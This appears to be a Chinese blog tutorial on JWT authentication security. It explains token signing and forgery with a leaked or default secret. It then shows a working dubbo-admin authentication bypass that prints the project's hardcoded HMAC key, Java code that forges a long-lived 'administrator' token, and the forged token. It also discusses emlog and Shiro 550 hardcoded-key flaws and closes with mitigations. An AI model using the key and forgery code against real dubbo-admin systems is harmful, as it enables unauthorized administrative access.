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JSON Web Token 默认密钥 身份验证安全性分析 dubbo-admin JWT硬编码身份验证绕过

引言

在web开发中,对于用户认证的问题,有很多的解决方案。其中传统的认证方式:基于session的用户身份验证便是可采用的一种。

基于session的用户身份验证验证过程: 用户在用进行验证之后,服务器保存用户信息返回sessionid,客户端携带sessionid可向服务器确认自己的身份。 这种认证方式也有着诸多缺点: 用户凭证数据存储在服务端,随着用户的增多,服务端压力增大;在分布式架构下用户凭证需要在服务器与服务器之间交换进行session的同步,否则只能用户挨个对服务器进行认证,这给服务器或者用户带来不便,可扩展性不强。

而基于JSON Web Token 的认证方式则完全可以解决这一问题,它利用了加密技术对用户的信息做签名认证,这使得服务端只需采用相同的算法密钥对,无需进行用户凭证信息的交换就可以完成用户的认证。

基于JSON Web Token 的用户身份验证验证过程: 采用json数据的格式分三个部分进行base64编码,header:声明所使用的算法,payload:存放用户关键信息 signatue:对header与payload进行算法签名, 将这三个部分base64编码用用逗号作为分隔,作为单独的header头返回给用户。 那么当用户需携带着jwt token向后端验证自己的身份时,如果通过了签名认证算法,就可以引用用户的关键信息来证明的用户的相应身份。

JWTtoken应用示例
import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.exceptions.JWTDecodeException;
import com.auth0.jwt.exceptions.JWTVerificationException;
import com.auth0.jwt.interfaces.DecodedJWT;
import jdk.internal.dynalink.beans.StaticClass;
​
import java.util.Date;
public class JwtTokenGenerator {static String secretKey = "secretKey123";//密钥static String issuer = "cn";public static String generateToken(String userId, String username) {Date now = new Date();Date expiryDate = new Date(now.getTime() + 3600000); // 设置过期时间为1个小时后Algorithm algorithm = Algorithm.HMAC256(secretKey);//设置算法及密钥String token = JWT.create().withIssuer(issuer)//发布人.withClaim("userId", userId)//数据 "usrid:xxxxx".withClaim("username",username).withIssuedAt(now)//发布时间.withExpiresAt(expiryDate)//到期时间.sign(algorithm);//return token;}
​
​public static void main(String[] args) {String token = generateToken("2233","admin");System.out.println("生成JWTtoken:"+token);
​// 验证Tokenboolean isValid = verifyToken(token);System.out.println("Token is valid: " + isValid);
​// 解析Token获取数据UserInfo userInfo  = getUserInfoFromToken(token);
​if (userInfo != null) {System.out.println("User ID: " + userInfo.getUserId());System.out.println("Username: " + userInfo.getUsername());} else {System.out.println("Invalid token or decoding error.");}
​}// 验证Tokenpublic static boolean verifyToken(String token) {try {Algorithm algorithm = Algorithm.HMAC256(secretKey);JWTVerifier verifier = JWT.require(algorithm).withIssuer(issuer).build(); // Reusable verifier instanceDecodedJWT jwt = verifier.verify(token);// 验证通过return true;} catch (JWTVerificationException exception) {// 验证失败return false;}}
​// 解析Token获取其中的数据public static UserInfo getUserInfoFromToken(String token) {try {Algorithm algorithm = Algorithm.HMAC256(secretKey);JWTVerifier verifier = JWT.require(algorithm).build();DecodedJWT jwt = verifier.verify(token);
​String userId = jwt.getClaim("userId").asString();String username = jwt.getClaim("username").asString();
​return new UserInfo(userId, username); // Assuming UserInfo class holds userId and username} catch (JWTDecodeException | IllegalArgumentException exception) {// Invalid token or decoding exceptionreturn null;}}
}

运行结果

生成JWTtoken:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMTgyMzc4MiwidXNlcklkIjoiMjIzMyIsImlhdCI6MTcyMTgyMDE4MiwidXNlcm5hbWUiOiJhZG1pbiJ9.PvLJgRpcVa0sTimuyIHA6yBbuu9qFW4YspdUfKNGctg Token is valid: true User ID: 2233 Username: admin

这是base64的解码

{"typ":"JWT","alg":"HS256"}.{"iss":"cn","exp":1721823782,"userId":"2233","iat":1721820182,"username":"admin"}.>òɁ\U­,N)®ÈÀë [ºïjn²—T|£FrØ

内部逻辑调试

调试一下 看一下逻辑

JWTCreator内部静态类Builder#sign方法 向payloadClaims放入用户信息等其他信息(本次测试放入的是username与userid)

JWTCreator内部静态类Builder#sign方法 向headerClaims放入 alg与typ ,声明算法类型

JWT的构造方法

JWTCreator 生成相应headerClaims与payloadClaims的headerJson与payloadJson

private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {this.algorithm = algorithm;
​try {this.headerJson = mapper.writeValueAsString(headerClaims);this.payloadJson = mapper.writeValueAsString(new ClaimsHolder(payloadClaims));} catch (JsonProcessingException var5) {JsonProcessingException e = var5;throw new JWTCreationException("Some of the Claims couldn't be converted to a valid JSON format.", e);}
}

 签名方法 algorithm会对headerJson和payloadJson进行签名,最后三个部分都返回base64编码字符串

private String sign() throws SignatureGenerationException {String header = Base64.getUrlEncoder().withoutPadding().encodeToString(this.headerJson.getBytes(StandardCharsets.UTF_8));String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(this.payloadJson.getBytes(StandardCharsets.UTF_8));byte[] signatureBytes = this.algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);return String.format("%s.%s.%s", header, payload, signature);
}

最终是完成JWTtoken的生成返回给用户

 

思考这个机制存在的问题 !
1.修改payloadJson信息伪造token

伪造用户 3344 root 生成base64编码

伪造用户token

ForgeryToken:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMTgyMzc4MiwidXNlcklkIjoiMzM0NCIsImlhdCI6MTcyMTgyMDE4MiwidXNlcm5hbWUiOiJyb290In0=.PvLJgRpcVa0sTimuyIHA6yBbuu9qFW4YspdUfKNGctg

经过测试在进行verify签名认证时,伪造的token会抛出异常。当然也有那种不做verify签名直接取用户的信息就能教你挖src的文章,这种就属于后端完全没有校验签名。

2.修改headerJson信息伪造token

看过一些文章尤其是一些ctf的题,有讲解修改headerJson可能会改变签名算法,比如改成公私钥算法,将公钥放到headerJson,那么自己用私钥做的签名公钥自然而然可以进行解钥认证,有些ctf题甚至在headerJson把密钥信息泄露出来。从技术上来说这些的确可以实现,jwt 的headerJson 也是为了不用集群多用户的各种需求设计了很多功能字段,它们在正确的使用下是可以做到完全安全的。 ​ 本示例中Algorithm对象的生成是固定的,没有因前端传来的值而相应做出改变,没有对headerJson进行进一步判断处理。所以本示例中你想拿headerJson去做一些文章是没有结果的。

这点可以参考JWT认证攻击详解总结 - 渗透测试中心 - 博客园

3.密钥泄露或者系统默认密钥

 

假如我们的密钥泄露了,那我们就可以正常的程序生成正常的jwt token 完成verify签名

下面是我们在得知secretKey的情况下伪造用户 3344 root

生成程序

    public static String generateForgeryToken() {Date now = new Date();Date expiryDate = new Date(now.getTime() + 999999999); // 设置过期时间为无限期Algorithm algorithm = Algorithm.HMAC256("secretKey123");//密钥泄露String ForgeryToken = JWT.create().withIssuer(issuer)//发布人.withClaim("userId", "3344")//数据 伪造.withClaim("username","root")//数据 伪造.withIssuedAt(now)//发布时间.withExpiresAt(expiryDate)//.sign(algorithm);//return ForgeryToken;}

生成伪造token

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMjkwODQ3NSwidXNlcklkIjoiMzM0NCIsImlhdCI6MTcyMTkwODQ3NSwidXNlcm5hbWUiOiJyb290In0.Ur3gXKTKV9wYnHnegHdGMxAVPLwFxcRHx_vO9EmrR7Q

用程序验证

成功伪造了用户 334 root 这样程序就会执行后面的操作,达到未授权访问的效果

实战dubbo-admin JWT硬编码身份验证绕过

 

硬编码

用户登录逻辑

org/apache/dubbo/admin/controller/UserController.java#login()

  跟入generateToken

这里我们重点关注前面所使用的secret,找到它使用的密钥

 

 

 我们可以在本地测试一下生成token的函数 与验证token的函数

伪造用户administrator 将过期时间调到几百年之后。

 

测试代码

@Test
public void ForgeryTokentest() {Map<String, Object> claims = new HashMap<>(1);claims.put("sub", "administrator");String ForgeryToken = Jwts.builder().setClaims(claims).setExpiration(new Date(System.currentTimeMillis() + 9999999999999999l)).setIssuedAt(new Date(System.currentTimeMillis())).signWith(defaultAlgorithm, "86295dd0c4ef69a1036b0b0c15158d77").compact();System.out.println(ForgeryToken);

生成的伪造token

eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjEwMDAxNzIxOTkzMTQwLCJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzIxOTkzMTQwfQ.UsUNLgmLq9wRbcPR_ERM7X-Bw6q3P6MrMBR6QilZLhbDHC59BTw3FBCWzORjUt_tuAWPevxmG2YH8JtPe6EGUw
验证用户token逻辑

web接口进入拦截器

 进入authentication认证方法

authentication取出header头中Authorization的值将它传入工具jwtTokenUtil类的canTokenBeExpirarion方法

 

canTokenBeExpirarion使用了jwt的机制对用户token进行了验证。 根据代码逻辑,我们只需用canTokenBeExpiration方法用验证的我们伪造的token即可证明漏洞。

且通过调试,证明这个token时间是非常的长 

 

测试代码

    String secret = "86295dd0c4ef69a1036b0b0c15158d77";@Testpublic void verifyTokentest() {
/*        JwtTokenUtil jwtTokenUtil = SpringBeanUtils.getBean(JwtTokenUtil.class);Boolean isValid = jwtTokenUtil.canTokenBeExpiration("eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE3MjE5MTA4MzIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3MjE5MDk4MzJ9.qO__fIG1aFImGpZ4qajUuG8w9kcH6l6FgbDsDAEC-9ftLePDsREWJzodMcKpn7sgbqdDhIQ5MxuTSw40q34McA");System.out.println("Token is valid: " + isValid);*/Claims claims;try {claims = Jwts.parser().setSigningKey(secret).parseClaimsJws("eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjEwMDAxNzIxOTkzMTQwLCJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzIxOTkzMTQwfQ.UsUNLgmLq9wRbcPR_ERM7X-Bw6q3P6MrMBR6QilZLhbDHC59BTw3FBCWzORjUt_tuAWPevxmG2YH8JtPe6EGUw").getBody();final Date exp = claims.getExpiration();if (exp.before(new Date(System.currentTimeMillis()))) {
​System.out.println("token验证过期");}System.out.println("token验证成功");} catch (Exception e) {System.out.println("token验证发生异常");e.printStackTrace();
扩展 emlog pro 版本 2.3.4 存在会话(AuthCookie)持久性和任何用户登录漏洞

这个系统中setAuthCookie的代码逻辑如下

这段逻辑与jwt生成token的原理非常类似

使用$user_login 和 $expiration 作为生成key, 之后在将key 与 $user_login 和 $expiration 作为种子生成用与签名的hash

同样的问题是如果AUTH_KEY 是默认的或者泄露了,那么它就会造成jwt一样的问题。

在知道密钥的情况下,我们只需用的同样的代码流程,改变用户信息,改变过期时间即可有一个合法的且永不过期的用户token

参考:

https://github.com/ssteveez/emlog/blob/main/emlog%20pro%20version%202.3.4%20has%20session(AuthCookie)%20persistence%20and%20any%20user%20login%20vulnerability.md 

扩展 Shiro 550 硬编码问题

Shiro 550本质上就是硬编码的问题。Shiro 密钥在出厂的时候写死在了代码中,这也就导致了系统变相的密钥泄露,而又因为shiro验证用户cookie的机制有了反序列化的这一动作。这就使得反序列化漏洞在这一场景中有了用武之地。讨论Shiro 不出网,绕过等问题,本质上就是讨论Shiro 可以进行哪些反序列化操作的问题。

参考JAVA安全之Shrio550-721漏洞原理及复现_shiro550和shiro721的区别-CSDN博客

总结

虽然JWT密钥面临着可能被泄露的问题,但这并不代表着它不足够安全。除了使用随机密钥的方式启动服务外,我们还可以结合传统的方法来进行改造,那就是采用redis缓存技术,将用户的token值作为value在redis存储备份,再将相应的key传回给用户,用户只需传递key值就能进行认证,各个服务器也都能够取出来对应key的value值,去验证用户token是否合法,这样也避免了密钥泄露的问题!

 

 

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从头训练小模型: 4 lora 微调

1. LoRA (Low-Rank Adaptation) LoRA是一种高效的参数高效微调&#xff08;Parameter-Efficient Fine-Tuning, PEFT&#xff09;方法&#xff0c;原理是通过低秩分解的方式对预训练模型进行微调。 相比于全参数微调&#xff08;Full Fine-Tuning&#xff09;&#xff0c;LoRA…...

前端开发,文件在镜像服务器上不存在问题:Downloading binary from...Cannot download...

问题与处理策略 问题描述 在 Vue 项目中&#xff0c;执行 npm i 下载依赖时&#xff0c;报如下错误 Downloading binary from https://npm.taobao.org/mirrors/node-sass//v4.14.1/win32-x64-72_binding.node Cannot download "https://npm.taobao.org/mirrors/node-sa…...

Debezium Binlog协议与事件转换详解

Debezium Binlog协议与事件转换详解 1. MySQL Binlog通信机制 1.1 连接建立流程 #mermaid-svg-eE88YFqcTG9kUWaZ {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-eE88YFqcTG9kUWaZ .error-icon{fill:#552222;}#mer…...

【PostgreSQL数据分析实战:从数据清洗到可视化全流程】4.1 日期时间标准化(时区转换/格式统一)

&#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 文章大纲 PostgreSQL数据分析实战&#xff1a;数据清洗之日期时间标准化&#xff08;时区转换/格式统一&#xff09;4.1 日期时间标准化&#xff1a;从混乱到有序4.1.1 数据乱象&…...

基于Hive + Spark离线数仓大数据实战项目(视频+课件+代码+资料+笔记)

精品推荐&#xff1a;基于Hive Spark离线数仓大数据实战项目&#xff0c;共23节课&#xff0c;供学习参考。 项目介绍项目中 docker 使用项目环境搭建项目数仓分层项目业务分析sqoop 数据采集python 数据采集项目 ODS 层创建DWD 层构建DWS 层构建项目回顾&#xff08;一&…...

【深入浅出MySQL】之数据类型介绍

【深入浅出MySQL】之数据类型介绍 MySQL中常见的数据类型一览为什么需要如此多的数据类型数值类型BIT&#xff08;M&#xff09;类型INT类型TINYINT类型BIGINT类型浮点数类型float类型DECIMAL(M,D)类型区别总结 字符串类型CHAR类型VARCHAR(M)类型 日期和时间类型enum和set类型 …...

从入门到登峰-嵌入式Tracker定位算法全景之旅 Part 4 |IMU 死算与校正:惯性导航在资源受限环境的落地

Part 4 |IMU 死算与校正:惯性导航在资源受限环境的落地 本章聚焦 ESP32-S3 平台上如何利用 LSM6DS3 IMU 实现 死算(Dead Reckoning),并结合 零速更新(ZUPT) 或 磁力计辅助 进行 漂移校正,最终通过 EKF/UKF 融合提升定位精度。 一、传感器简介与校准 LSM6DS3 主要参数 加速…...

【iOS】 方法交换

【iOS】 方法交换 method-swizzling 文章目录 【iOS】 方法交换 method-swizzling前言什么是method-swizzling相关API方法交换的风险在load方法中保证只加载一次要在当前类的方法中进行交换如果方法依赖于cmd 方法交换的应用 前言 之前看过有关于消息转发的内容,这里我们可以简…...